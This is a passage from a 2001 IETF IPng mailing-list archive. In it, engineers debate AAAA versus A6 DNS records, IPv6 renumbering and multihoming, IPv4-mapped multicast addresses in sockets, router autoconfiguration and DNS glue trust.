venus.Sun.COM (8.9.3+Sun/8.9.3) with SMTP id VAA11583 for ; Wed, 2 May 2001 21:18:00 -0700 (PDT) Received: from localhost by mail.users.bit-net.com; (5.65v3.2/1.1.8.2/30Jul96-0143PM) id AA27670; Thu, 3 May 2001 00:17:52 -0400 Date: Thu, 3 May 2001 00:17:52 -0400 (EDT) From: Jim Bound To: "David R. Conrad" Cc: itojun@iijlab.net, Paul A Vixie , ipng@sunroof.eng.sun.com Subject: Re: AAAA/A6 thing In-Reply-To: <5.0.2.1.2.20010501123405.02178b30@localhost> Message-Id: Mime-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-ipng@sunroof.eng.sun.com Precedence: bulk Dave, We drift. I will agree that we need further work on renumbering. I will agree that we need further work on the partitioning of the 128bits. We do need to some new things for Multihoming. As far as autonconfiguration in IPv6 that has been preached say one and I also implemented that code and its shipping in a product. Just don't tell me we have nothing now cause that is simply false. As far as address space I hear you. But your arguing from the operator view. The end user view for 3G wireless and a few other industries I cannot mention do want global address space and are large enough to be their own Providers. I think we are in violent agreement. Other stuff I got to say I will say privately thats between you and me. thanks /jim On Tue, 1 May 2001, David R. Conrad wrote: > Jim, > > At 08:30 AM 5/1/2001 -0400, Jim Bound wrote: > >If your arguing IPv4 is OK and all is well. Hmmm. > > No, and I'm not sure how you'd come to this conclusion from what I > said. I'm arguing that renumbering is "Very Important" and is one area in > which IPv6 could conceivably provide a reasonable justification for the > pain of undertaking the transition. More address space ain't gonna do it > if the ISPs of the world say "I can't route your prefix, renumber into > mine" as they MUST if we expect IPv6 to scale beyond what IPv4 scales to. > > > > This is worrisome. By and large, I believe the main reason people are > > > unhappy with the current situation with IPv4 is end user sites are > > normally > > > rejected for address allocations of provider independent address space, > > > forcing those sites to be dependent on their service provider for address > > > space. The reason for rejection is typically _not_ a lack of address > > > space, but rather the RIRs have been put into the position of trying to > > > limit the number of provider independent prefixes which enter the routing > > > system. > >Same thing. THe RIRs are trying to manage a scare commodity. > > No. The statement Itojun made was that larger address space was the > primary justification for IPv6. Larger address space CONTRIBUTES to the > problem that the RIRs are trying to help manage, namely the proliferation > of globally routable prefixes. IPv6, as it is currently defined, does NOT > address the _REAL_ problem, namely routable prefix growth. It threatens to > exacerbate the problem greatly as the swamp of end-user globally routed > IPv6 address is so much larger. > > Having workable renumbering would help greatly in reducing routable prefix > growth. Whereas A6 supports renumbering, it is a good thing and > experiments should be undertaken to determine if it actually helps (and > just how it can be made to help). > > >What exactly in technical terms have you heard is wrong with IPv6 > >addresses and routing? > > Nothing that isn't wrong with IPv4, and that's sort of the > point. Renumbering is hard and multi-homing implies de-aggregation. IPv6 > routing and addressing as it is currently defined does nothing to solve > these problems as far as I can tell. > > Rgds, > -drc > -------------------------------------------------------------------- IETF IPng Working Group Mailing List IPng Home Page: http://playground.sun.com/ipng FTP archive: ftp://playground.sun.com/pub/ipng Direct all administrative requests to majordomo@sunroof.eng.sun.com -------------------------------------------------------------------- From owner-ipng@sunroof.eng.sun.com Wed May 2 21:26:11 2001 Received: from sunroof.eng.sun.com (localhost [127.0.0.1]) by sunroof.eng.sun.com (8.12.0.Beta8+Sun/8.12.0.Beta8) with ESMTP id f434QAIM005956 for ; Wed, 2 May 2001 21:26:10 -0700 (PDT) Received: (from majordomo@localhost) by sunroof.eng.sun.com (8.12.0.Beta8+Sun/8.12.0.Beta8) id f434QAOl005955 for ipng-dist; Wed, 2 May 2001 21:26:10 -0700 (PDT) X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-ipng@sunroof.eng.sun.com using -f Received: from engmail4.Eng.Sun.COM (engmail4 [129.144.134.6]) by sunroof.eng.sun.com (8.12.0.Beta8+Sun/8.12.0.Beta8) with ESMTP id f434Q0IM005948 for ; Wed, 2 May 2001 21:26:01 -0700 (PDT) Received: from lukla.Sun.COM (lukla.Central.Sun.COM [129.147.5.31]) by engmail4.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id VAA20057 for ; Wed, 2 May 2001 21:26:00 -0700 (PDT) Received: from mail.users.bit-net.com (www.bit-net.com [208.146.132.4]) by lukla.Sun.COM (8.9.3+Sun/8.9.3) with SMTP id WAA04163 for ; Wed, 2 May 2001 22:53:55 -0600 (MDT) Received: from localhost by mail.users.bit-net.com; (5.65v3.2/1.1.8.2/30Jul96-0143PM) id AA18977; Thu, 3 May 2001 00:25:51 -0400 Date: Thu, 3 May 2001 00:25:51 -0400 (EDT) From: Jim Bound To: Antonio Querubin Cc: ipng@sunroof.eng.sun.com Subject: Re: multicast IPv4-mapped IPv6 addresses/sockets In-Reply-To: Message-Id: Mime-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-ipng@sunroof.eng.sun.com Precedence: bulk Antonio, I don't know Linux at this detail. We should test this on all systems. But if Linux is treating the mapped portion as v6 at the point of the send and not stripping off all but the low order 32bits when the packet goes to Linux version of the DLI then it will get wacked for sure. Also I wold check the address family you believe was set for AF_INET for the multicast interface set and join operation. Those might be hosed too if my suspicion is correct???? /jim On Wed, 2 May 2001, Antonio Querubin wrote: > I've run into a problem with converting multicast applications originally > designed for IPv4 to use IPv6 socket calls. Is there any set convention > for handling multicast IPv4 addresses mapped to IPv6 addresses? > (Apologies in advance if I'm asking the wrong mailing list - I'd already > posed this question to other IPv6 mailing lists but apparently am not > reaching the right people who might know the answers). > > Consider a unicast application program originally written for IPv4. A > programmer can easily convert the IPv4 socket calls to IPv6 socket calls > and just use IPv4-mapped IPv6 unicast addresses. The IPv6 socket API > (RFC-2133 or RFC-2553) specifies that when IPv4-mapped addresses are used, > the connection is made using IPv4. Unless it's dealing with low-level > calls, the application program doesn't need to know whether it's really > using IPv4 or IPv6. It just has access to an open socket. However, I've > run into a problem with handling multicast IPv4 addresses with IPv6 > sockets. > > For example, let's say I have an application that I want to convert to > using IPv6 sockets and that I normally pass it an IPv4 unicast > name/address on the command line. If this were an IPv4 unicast program, > it might typically do a gethostname to obtain the IP address and then open > up a connection. Converted to using IPv6, the gethostname() (or > getipnodename()) would return an IPv4-mapped address looking something > like ::ffff:192.168.1.1. The IPv6 socket API handles this automatically > and makes an IPv4 connection. Pretty simple. > > But when it's a multicast program the situation changes, the gethostname() > will still return an IPv4-mapped address, however this mapped address is > not useable (at least not under Linux and gcc). If for example, I specify > sap.mcast.net (224.2.127.254) on the command line to this multicast > program, when it does the gethostbyname() it gets back > ::ffff:224.2.127.254. But this doesn't appear to be a useable multicast > address to Linux. The socket calls, up to where one sets the multicast > TTL or joins the multicast groups, do work. But once I try to set the > multicast TTL or join the group, the ::ffff:224.2.127.254 address is > rejected as invalid. The only way I've found to make this work is to > either create the socket using IPv4 socket calls only, or use an actual > IPv6 multicast address to begin with. > > Well at least that's how Linux and gcc have been behaving so far for me. > So is this perhaps a socket API implementation problem specific to Linux > or is it caused by the RFCs not specifically defining how an IPv4-mapped > multicast address should be handled? > > If this is not system-specific then it seems that the handling of > IPv4-mapped multicast addresses was something left out of either the IPv6 > socket API or perhaps an IPv4-mapped multicast address should be > explicitly defined? For example, 224.2.127.254 might be mapped to > ff0e::ffff:224.2.127.254 instead of ::ffff:224.2.127.254? Linux would > accept the first address but not the latter in a multicast socket call. > > -------------------------------------------------------------------- > IETF IPng Working Group Mailing List > IPng Home Page: http://playground.sun.com/ipng > FTP archive: ftp://playground.sun.com/pub/ipng > Direct all administrative requests to majordomo@sunroof.eng.sun.com > -------------------------------------------------------------------- > -------------------------------------------------------------------- IETF IPng Working Group Mailing List IPng Home Page: http://playground.sun.com/ipng FTP archive: ftp://playground.sun.com/pub/ipng Direct all administrative requests to majordomo@sunroof.eng.sun.com -------------------------------------------------------------------- From owner-ipng@sunroof.eng.sun.com Thu May 3 05:41:26 2001 Received: from sunroof.eng.sun.com (localhost [127.0.0.1]) by sunroof.eng.sun.com (8.12.0.Beta8+Sun/8.12.0.Beta8) with ESMTP id f43CfQIM006268 for ; Thu, 3 May 2001 05:41:26 -0700 (PDT) Received: (from majordomo@localhost) by sunroof.eng.sun.com (8.12.0.Beta8+Sun/8.12.0.Beta8) id f43CfPtl006267 for ipng-dist; Thu, 3 May 2001 05:41:25 -0700 (PDT) X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-ipng@sunroof.eng.sun.com using -f Received: from engmail4.Eng.Sun.COM (engmail4 [129.144.134.6]) by sunroof.eng.sun.com (8.12.0.Beta8+Sun/8.12.0.Beta8) with ESMTP id f43CfGIM006260 for ; Thu, 3 May 2001 05:41:16 -0700 (PDT) Received: from patan.sun.com (patan.Central.Sun.COM [129.147.5.43]) by engmail4.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id FAA01075 for ; Thu, 3 May 2001 05:41:17 -0700 (PDT) Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128]) by patan.sun.com (8.9.3+Sun/8.9.3) with ESMTP id FAA08477 for ; Thu, 3 May 2001 05:41:16 -0700 (PDT) Received: from zed.isi.edu (zed.isi.edu [128.9.160.57]) by tnt.isi.edu (8.11.2/8.11.2) with ESMTP id f43CfCP15893; Thu, 3 May 2001 05:41:12 -0700 (PDT) From: Bill Manning Received: (from bmanning@localhost) by zed.isi.edu (8.11.0/8.8.6) id f43CfBj22575; Thu, 3 May 2001 05:41:11 -0700 Message-Id: <200105031241.f43CfBj22575@zed.isi.edu> Subject: Re: was a6/aaaa - RA/ND & exchanges To: crawdad@fnal.gov (Matt Crawford) Date: Thu, 3 May 2001 05:41:11 -0700 (PDT) Cc: vixie@mfnx.net (Paul A Vixie), ipng@sunroof.eng.sun.com In-Reply-To: <200105022327.SAA07612@gungnir.fnal.gov> from "Matt Crawford" at May 02, 2001 06:27:01 PM X-Mailer: ELM [version 2.5 PL3] MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-ipng@sunroof.eng.sun.com Precedence: bulk % % > > The Fix? Turn off ND & RA and statically configure the interfaces. % > % > the idea of using any kind of stateless automatic *anything* with % > bgp speaking routers....... terrifies me. at paix, for ipv6, we % > statically allocate. % % I have already pointed out the parts of the ND spec that say that % routers should not be autoconfiguring addresses from received router % advertisements. Bill was just suffering a little early-adopter pain % with unfinished router implementations. Matt, writing a spec does not an implementation make. While a static delegation may be made by the manager of the exchange address space, they do not control the software load of the client... and thats the part that gives me the willies. -- --bill -------------------------------------------------------------------- IETF IPng Working Group Mailing List IPng Home Page: http://playground.sun.com/ipng FTP archive: ftp://playground.sun.com/pub/ipng Direct all administrative requests to majordomo@sunroof.eng.sun.com -------------------------------------------------------------------- From owner-ipng@sunroof.eng.sun.com Thu May 3 10:32:42 2001 Received: from sunroof.eng.sun.com (localhost [127.0.0.1]) by sunroof.eng.sun.com (8.12.0.Beta8+Sun/8.12.0.Beta8) with ESMTP id f43HWfIM006751 for ; Thu, 3 May 2001 10:32:41 -0700 (PDT) Received: (from majordomo@localhost) by sunroof.eng.sun.com (8.12.0.Beta8+Sun/8.12.0.Beta8) id f43HWexR006750 for ipng-dist; Thu, 3 May 2001 10:32:40 -0700 (PDT) X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-ipng@sunroof.eng.sun.com using -f Received: from engmail4.Eng.Sun.COM (engmail4 [129.144.134.6]) by sunroof.eng.sun.com (8.12.0.Beta8+Sun/8.12.0.Beta8) with ESMTP id f43HWLIM006743 for ; Thu, 3 May 2001 10:32:22 -0700 (PDT) Received: from venus.Sun.COM (venus.EBay.Sun.COM [129.150.69.5]) by engmail4.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id KAA24219 for ; Thu, 3 May 2001 10:32:21 -0700 (PDT) Received: from chiark.greenend.org.uk (chiark.greenend.org.uk [195.224.76.132]) by venus.Sun.COM (8.9.3+Sun/8.9.3) with ESMTP id KAA03569 for ; Thu, 3 May 2001 10:32:19 -0700 (PDT) Received: from (davenant.greenend.org.uk) [172.31.80.6] by chiark.greenend.org.uk with esmtp (Exim 3.12 #2) id 14vMxd-0008Ex-00 (Debian); Thu, 03 May 2001 18:32:17 +0100 Received: from ian by davenant.greenend.org.uk with local (Exim 3.12 #2) id 14vMxb-0001u7-00 (Debian); Thu, 03 May 2001 18:32:15 +0100 From: Ian Jackson MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Message-ID: <15089.38431.917191.847575@davenant.relativity.greenend.org.uk> Date: Thu, 3 May 2001 18:32:15 +0100 (BST) To: ipng@sunroof.eng.sun.com, namedroppers@ops.ietf.org Subject: Re: AAAA/A6 thing Newsgroups: chiark.mail.ietf.namedroppers In-Reply-To: References: <27764.988708929@itojun.org> X-Mailer: VM 6.75 under Emacs 19.34.1 Sender: owner-ipng@sunroof.eng.sun.com Precedence: bulk Christian Schild writes ("Re: AAAA/A6 thing"): > one can still 'advocate' A6 0 <128bit> with the chain resolution > implemented. In my understanding we should suggest to use 128bit > records for _now_. If in the future, with more testing done and more > experience at hand, we have developed a good set of rules how to > chain A6 records in an unperilous manner, then we could start to > _use_ the chaining. That's a hopeless idea. We should not add features to standards without a clear idea of what they're good for. We should not put something in the spec and then tell people not to use it. If people shouldn't use it it shouldn't be in the spec. Furthermore, deploying A6 0 will not allow anyone to effectively work the bugs out of prefix-chasing resolvers, so if we were to specify A6 0 now but decided we wanted A6 >0 later we'd have to wait for new implementations anyway. Also, if the spec says A6 but MUST NOT require prefix chasing, many implementors may avoid implementing it altogether. Another way to look at it as a bait-and-switch: we are supposed to agree to A6 now, despite there being no good reason for it, because actually `we'll just use A6 0'. But, everyone still has to implement A6 >0 ! Ian. -------------------------------------------------------------------- IETF IPng Working Group Mailing List IPng Home Page: http://playground.sun.com/ipng FTP archive: ftp://playground.sun.com/pub/ipng Direct all administrative requests to majordomo@sunroof.eng.sun.com -------------------------------------------------------------------- From owner-ipng@sunroof.eng.sun.com Thu May 3 20:41:36 2001 Received: from sunroof.eng.sun.com (localhost [127.0.0.1]) by sunroof.eng.sun.com (8.12.0.Beta8+Sun/8.12.0.Beta8) with ESMTP id f443faIM007706 for ; Thu, 3 May 2001 20:41:36 -0700 (PDT) Received: (from majordomo@localhost) by sunroof.eng.sun.com (8.12.0.Beta8+Sun/8.12.0.Beta8) id f443fZdW007705 for ipng-dist; Thu, 3 May 2001 20:41:35 -0700 (PDT) X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-ipng@sunroof.eng.sun.com using -f Received: from engmail3.Eng.Sun.COM (engmail3 [129.144.170.5]) by sunroof.eng.sun.com (8.12.0.Beta8+Sun/8.12.0.Beta8) with ESMTP id f443fNIM007698 for ; Thu, 3 May 2001 20:41:23 -0700 (PDT) Received: from patan.sun.com (patan.Central.Sun.COM [129.147.5.43]) by engmail3.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id UAA13677 for ; Thu, 3 May 2001 20:41:23 -0700 (PDT) Received: from mail.users.bit-net.com (www.bit-net.com [208.146.132.4]) by patan.sun.com (8.9.3+Sun/8.9.3) with SMTP id UAA16553 for ; Thu, 3 May 2001 20:41:22 -0700 (PDT) Received: from localhost by mail.users.bit-net.com; (5.65v3.2/1.1.8.2/30Jul96-0143PM) id AA08307; Thu, 3 May 2001 23:41:09 -0400 Date: Thu, 3 May 2001 23:41:09 -0400 (EDT) From: Jim Bound To: Ian Jackson Cc: ipng@sunroof.eng.sun.com, namedroppers@ops.ietf.org Subject: Re: AAAA/A6 thing In-Reply-To: <15089.38431.917191.847575@davenant.relativity.greenend.org.uk> Message-Id: Mime-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-ipng@sunroof.eng.sun.com Precedence: bulk After much good discussion with Davkd Conrad and Paul Vixie, and Christian/Matts view of this I believe we must implement what we have regarding A6 specs from the implementation perspective. I will leave it to others to tell us as we develop this if the specs are to be altered. Assist with renumbering. Reduce routing tables. And make IPv6 more deployable. I will leave it to others to find consensus on this or against this. It needs to be implemented and used. /jim On Thu, 3 May 2001, Ian Jackson wrote: > Christian Schild writes ("Re: AAAA/A6 thing"): > > one can still 'advocate' A6 0 <128bit> with the chain resolution > > implemented. In my understanding we should suggest to use 128bit > > records for _now_. If in the future, with more testing done and more > > experience at hand, we have developed a good set of rules how to > > chain A6 records in an unperilous manner, then we could start to > > _use_ the chaining. > > That's a hopeless idea. > > We should not add features to standards without a clear idea of what > they're good for. We should not put something in the spec and then > tell people not to use it. If people shouldn't use it it shouldn't be > in the spec. > > Furthermore, deploying A6 0 will not allow anyone to effectively work > the bugs out of prefix-chasing resolvers, so if we were to specify > A6 0 now but decided we wanted A6 >0 later we'd have to wait for new > implementations anyway. Also, if the spec says A6 but MUST NOT > require prefix chasing, many implementors may avoid implementing it > altogether. > > Another way to look at it as a bait-and-switch: we are supposed to > agree to A6 now, despite there being no good reason for it, because > actually `we'll just use A6 0'. But, everyone still has to implement > A6 >0 ! > > Ian. > -------------------------------------------------------------------- > IETF IPng Working Group Mailing List > IPng Home Page: http://playground.sun.com/ipng > FTP archive: ftp://playground.sun.com/pub/ipng > Direct all administrative requests to majordomo@sunroof.eng.sun.com > -------------------------------------------------------------------- > -------------------------------------------------------------------- IETF IPng Working Group Mailing List IPng Home Page: http://playground.sun.com/ipng FTP archive: ftp://playground.sun.com/pub/ipng Direct all administrative requests to majordomo@sunroof.eng.sun.com -------------------------------------------------------------------- From owner-ipng@sunroof.eng.sun.com Thu May 3 21:07:51 2001 Received: from sunroof.eng.sun.com (localhost [127.0.0.1]) by sunroof.eng.sun.com (8.12.0.Beta8+Sun/8.12.0.Beta8) with ESMTP id f4447pIM007765 for ; Thu, 3 May 2001 21:07:51 -0700 (PDT) Received: (from majordomo@localhost) by sunroof.eng.sun.com (8.12.0.Beta8+Sun/8.12.0.Beta8) id f4447oDa007764 for ipng-dist; Thu, 3 May 2001 21:07:50 -0700 (PDT) X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-ipng@sunroof.eng.sun.com using -f Received: from engmail4.Eng.Sun.COM (engmail4 [129.144.134.6]) by sunroof.eng.sun.com (8.12.0.Beta8+Sun/8.12.0.Beta8) with ESMTP id f4447dIM007757 for ; Thu, 3 May 2001 21:07:39 -0700 (PDT) Received: from venus.Sun.COM (venus.EBay.Sun.COM [129.150.69.5]) by engmail4.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id VAA20519 for ; Thu, 3 May 2001 21:07:38 -0700 (PDT) Received: from muncher.math.uic.edu (muncher.math.uic.edu [131.193.178.181]) by venus.Sun.COM (8.9.3+Sun/8.9.3) with SMTP id VAA21957 for ; Thu, 3 May 2001 21:07:38 -0700 (PDT) Received: (qmail 32168 invoked by uid 1001); 4 May 2001 04:07:49 -0000 Date: 4 May 2001 04:07:49 -0000 Message-ID: <20010504040749.8861.qmail@cr.yp.to> From: "D. J. Bernstein" To: ipng@sunroof.eng.sun.com Cc: namedroppers@ops.ietf.org Subject: Re: AAAA/A6 thing References: <20010430190948.19724.qmail@cr.yp.to> <200105011429.KAA08968@egyptian-gods.MIT.EDU> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline Sender: owner-ipng@sunroof.eng.sun.com Precedence: bulk Greg Hudson writes: > How can NS glue work if BIND and djbdns completely discard > out-of-bailiwick records during a query? dns-01.ns.aol.com, for example, is in the .com servers' bailiwick, so we can follow a referral from the .com servers to the aol.com servers. See http://cr.yp.to/djbdns/notes.html for further background. As for your suggestion: Yes, we can eliminate the reliability problems caused by gluelessness, without introducing security problems, by (1) having the server provide the A for every NS and (2) having the cache save the A only in the context of that NS. This is (aside from the unnecessarily difficult parsing) functionally identical to putting addresses directly into NS records, which is my suggested fix. Applying the same fix to A6 produces AAAA. ---Dan -------------------------------------------------------------------- IETF IPng Working Group Mailing List IPng Home Page: http://playground.sun.com/ipng FTP archive: ftp://playground.sun.com/pub/ipng Direct all administrative requests to majordomo@sunroof.eng.sun.com -------------------------------------------------------------------- From owner-ipng@sunroof.eng.sun.com Thu May 3 23:00:50 2001 Received: from sunroof.eng.sun.com (localhost [127.0.0.1]) by sunroof.eng.sun.com (8.12.0.Beta8+Sun/8.12.0.Beta8) with ESMTP id f4460nIM007827 for ; Thu, 3 May 2001 23:00:49 -0700 (PDT) Received: (from majordomo@localhost) by sunroof.eng.sun.com (8.12.0.Beta8+Sun/8.12.0.Beta8) id f4460nSd007826 for ipng-dist; Thu, 3 May 2001 23:00:49 -0700 (PDT) X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-ipng@sunroof.eng.sun.com using -f Received: from engmail1.Eng.Sun.COM (engmail1 [129.146.1.13]) by sunroof.eng.sun.com (8.12.0.Beta8+Sun/8.12.0.Beta8) with ESMTP id f4460eIM007819 for ; Thu, 3 May 2001 23:00:40 -0700 (PDT) Received: from saturn.sun.com (saturn.EBay.Sun.COM [129.150.69.2]) by engmail1.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id XAA10781 for ; Thu, 3 May 2001 23:00:41 -0700 (PDT) Received: from netcore.fi (netcore.fi [193.94.160.1]) by saturn.sun.com (8.9.3+Sun/8.9.3) with ESMTP id XAA10349 for ; Thu, 3 May 2001 23:00:40 -0700 (PDT) Received: from localhost (pekkas@localhost) by netcore.fi (8.11.1/8.11.1) with ESMTP id f4460dj28953 for ; Fri, 4 May 2001 09:00:39 +0300 Date: Fri, 4 May 2001 09:00:39 +0300 (EEST) From: Pekka Savola To: Subject: Mixed Host/Router behaviour Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-ipng@sunroof.eng.sun.com Precedence: bulk Hi, I don't think the more complex scenario of Router/Host has been discussed. If so, please provide a pointer. Consider a system where SERVER wants to have a shortcut into LAN1 (but not forward traffic from it): LAN0 --- eth0 SERVER tun1 - - - ROUTER ----> Internet eth1 | | | LAN1 --------------^ (this is a scenario where server acts as a router for LAN0, and uses LAN1 to e.g. mount NFS shares off a server there ("nfs interface")) Now, this would appear to be rather problematic. Some items for a router include among others setting IsRouter flag in NA's and responding to RS's. These seem to be usually implemented as global toggles; either the system is a router or it is not. This creates problems in the above scenario because: - SERVER should act as a router toward eth0 and tun1 - SERVER MUST NOT be used to forward traffic from LAN1. * IsRouter flag off * Not answering to RS's * Etc. * Whether this should be able to accept RA's (to autoconfigure the prefix, but not otherwise modify the routing table) is open to discussion; on a "primarily" router, it would probably be acceptable to having to configure it manually. Has these kind of "mixed" scenarios been thought of? I'm sure this is not the only one... -- Pekka Savola "Tell me of difficulties surmounted, Netcore Oy not those you stumble over and fall" Systems. Networks. Security. -- Robert Jordan: A Crown of Swords -------------------------------------------------------------------- IETF IPng Working Group Mailing List IPng Home Page: http://playground.sun.com/ipng FTP archive: ftp://playground.sun.com/pub/ipng Direct all administrative requests to majordomo@sunroof.eng.sun.com -------------------------------------------------------------------- From owner-ipng@sunroof.eng.sun.com Thu May 3 23:46:17 2001 Received: from sunroof.eng.sun.com (localhost [127.0.0.1]) by sunroof.eng.sun.com (8.12.0.Beta8+Sun/8.12.0.Beta8) with ESMTP id f446kHIM007860 for ; Thu, 3 May 2001 23:46:17 -0700 (PDT) Received: (from majordomo@localhost) by sunroof.eng.sun.com (8.12.0.Beta8+Sun/8.12.0.Beta8) id f446kGhI007859 for ipng-dist; Thu, 3 May 2001 23:46:16 -0700 (PDT) X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-ipng@sunroof.eng.sun.com using -f Received: from engmail4.Eng.Sun.COM (engmail4 [129.144.134.6]) by sunroof.eng.sun.com (8.12.0.Beta8+Sun/8.12.0.Beta8) with ESMTP id f446k6IM007852 for ; Thu, 3 May 2001 23:46:06 -0700 (PDT) Received: from patan.sun.com (patan.Central.Sun.COM [129.147.5.43]) by engmail4.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id XAA02977 for ; Thu, 3 May 2001 23:46:07 -0700 (PDT) Received: from ratree.psu.ac.th ([192.100.77.3]) by patan.sun.com (8.9.3+Sun/8.9.3) with ESMTP id XAA12674 for ; Thu, 3 May 2001 23:46:05 -0700 (PDT) Received: from brandenburg.cs.mu.OZ.AU (reserv150.coe.psu.ac.th [203.154.146.150]) by ratree.psu.ac.th (8.9.1/8.9.1) with ESMTP id NAA01826; Fri, 4 May 2001 13:45:59 +0700 (ICT) Received: from brandenburg.cs.mu.OZ.AU (localhost [127.0.0.1]) by brandenburg.cs.mu.OZ.AU (8.11.0/8.11.0) with ESMTP id f446jvN03349; Fri, 4 May 2001 13:45:57 +0700 (ICT) From: Robert Elz To: "D. J. Bernstein" cc: ipng@sunroof.eng.sun.com, namedroppers@ops.ietf.org Subject: Re: AAAA/A6 thing In-Reply-To: <20010504040749.8861.qmail@cr.yp.to> References: <20010504040749.8861.qmail@cr.yp.to> <20010430190948.19724.qmail@cr.yp.to> <200105011429.KAA08968@egyptian-gods.MIT.EDU> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Date: Fri, 04 May 2001 13:45:57 +0700 Message-ID: <3347.988958757@brandenburg.cs.mu.OZ.AU> Sender: owner-ipng@sunroof.eng.sun.com Precedence: bulk Date: 4 May 2001 04:07:49 -0000 From: "D. J. Bernstein" Message-ID: <20010504040749.8861.qmail@cr.yp.to> | dns-01.ns.aol.com, for example, is in the .com servers' bailiwick, This is gibberish - a best a rationalisation of broken behaviour. Since we know aol.com is delegated, dns-01.ns.aol.com belongs to either the aol.com zone (and hence the serves authoritative for that), or the ns.aol.zom zone (if it exists). No other servers on the planet have any special relationship with the name, and nothing that any of them might say about is to be trusted or believed any more than any of the others. There might be something about the data retrieved (such as a dnssec signature) which might make some responses able to be trusted more than others, but there's not a thing about the server that it comes from (aside from the authoritative servers for the zone that contains the name - and even then, only if you have some expectation it hasn't been spoofed) that would make an answer from one server any more trustworthy than any other. | so we can follow a referral from the .com servers to the aol.com servers. The .com servers might need glue A records for that name, that's true. So might the .net servers (and given they're the same thing it would be a bit hard for one of them to have the glue and not the other...). Even the .TO servers might need A records for those names as glue (though one might assume that is less likely - it isn't impossible). Glue isn't particularly authoritative (or believable) though. But it is necessary when no other information is available, and of course, usually works. | This is (aside from the unnecessarily difficult parsing) functionally | identical to putting addresses directly into NS records, which is my | suggested fix. It isn't even close to functionally identical. It would be if the requirement was that only the (glue) A record in the NS response could be used to "complete" the NS lookup - but no-one would ever make such a suggestion. If a resolver has a cached A record to match the name in the NS record, or even more, if it happens to be authoritative for that name, it should use the record it has, rather than random glue it receives. And that doesn't even begin to touch on the dnssec issues. We keep seeing this "server side indirection is equivalent and simpler" fiction over and over. It keeps being refuted. I guess you can just keep repeating it over and over, and hope we all get tired of refuting it. That won't make it any more true, even if there are no responses. If you really believe it - implement it in your server for the NS/A case. You have just claimed that other than the parsing issue (a NS/A pair is unquestionably more work to parse than an NS record containing an address would be) the NS/A combination in a response is functionally identical to the server side indirection you aspire to. Changing the specs the way you want (and all the other implementations) isn't going to happen any time soon no matter what was decided here now - so just ignore the parsing issue, and implement the server side indirection using the NS+A method. That is, have your servers *never* send an NS record in a response without the accompanying A record(s). That's actually easier (packet assembly/disassembly aside, which is really pretty trivial anyway) than it would be if you had to put the address into the NS record, as you don't have to deal with any of the dnssec or maintenance issues (depending on whether you were to do it by simply having the human maintain it - no dnssec issue particularly, but a maintenance nightmare, or by having the server go query and maintain the address from a configured server name (and perhaps associated glue A), which makes human maintenance much easier, but the dnssec issues much harder). But let's just leave that part of it aside for now. Come back to us after you have the server which never sends NS records without the associated A records deployed at a significant number of servers (including some which handle "public" domains containing 10K or more delegations). Then we will be able to evaluate whether server side indirection (in the simplest of possible scenarios) is able to work or not. kre -------------------------------------------------------------------- IETF IPng Working Group Mailing List IPng Home Page: http://playground.sun.com/ipng FTP archive: ftp://playground.sun.com/pub/ipng Direct all administrative requests to majordomo@sunroof.eng.sun.com -------------------------------------------------------------------- From owner-ipng@sunroof.eng.sun.com Fri May 4 01:15:53 2001 Received: from sunroof.eng.sun.com (localhost [127.0.0.1]) by sunroof.eng.sun.com (8.12.0.Beta8+Sun/8.12.0.Beta8) with ESMTP id f448FpIM007945 for ; Fri, 4 May 2001 01:15:52 -0700 (PDT) Received: (from majordomo@localhost) by sunroof.eng.sun.com (8.12.0.Beta8+Sun/8.12.0.Beta8) id f448Fk1G007944 for ipng-dist; Fri, 4 May 2001 01:15:46 -0700 (PDT) X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-ipng@sunroof.eng.sun.com using -f Received: from engmail2.Eng.Sun.COM (engmail2 [129.146.1.25]) by sunroof.eng.sun.com (8.12.0.Beta8+Sun/8.12.0.Beta8) with ESMTP id f448FPIM007937 for ; Fri, 4 May 2001 01:15:26 -0700 (PDT) Received: from saturn.sun.com (saturn.EBay.Sun.COM [129.150.69.2]) by engmail2.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id BAA13511 for ; Fri, 4 May 2001 01:15:25 -0700 (PDT) Received: from netcore.fi (netcore.fi [193.94.160.1]) by saturn.sun.com (8.9.3+Sun/8.9.3) with ESMTP id BAA24163 for ; Fri, 4 May 2001 01:15:24 -0700 (PDT) Received: from localhost (pekkas@localhost) by netcore.fi (8.11.1/8.11.1) with ESMTP id f448FLZ29549; Fri, 4 May 2001 11:15:21 +0300 Date: Fri, 4 May 2001 11:15:21 +0300 (EEST) From: Pekka Savola To: Christian Huitema cc: Subject: Re: Addresses and BGP (was RE: was a6/aaaa - RA/ND & exchanges) In-Reply-To: 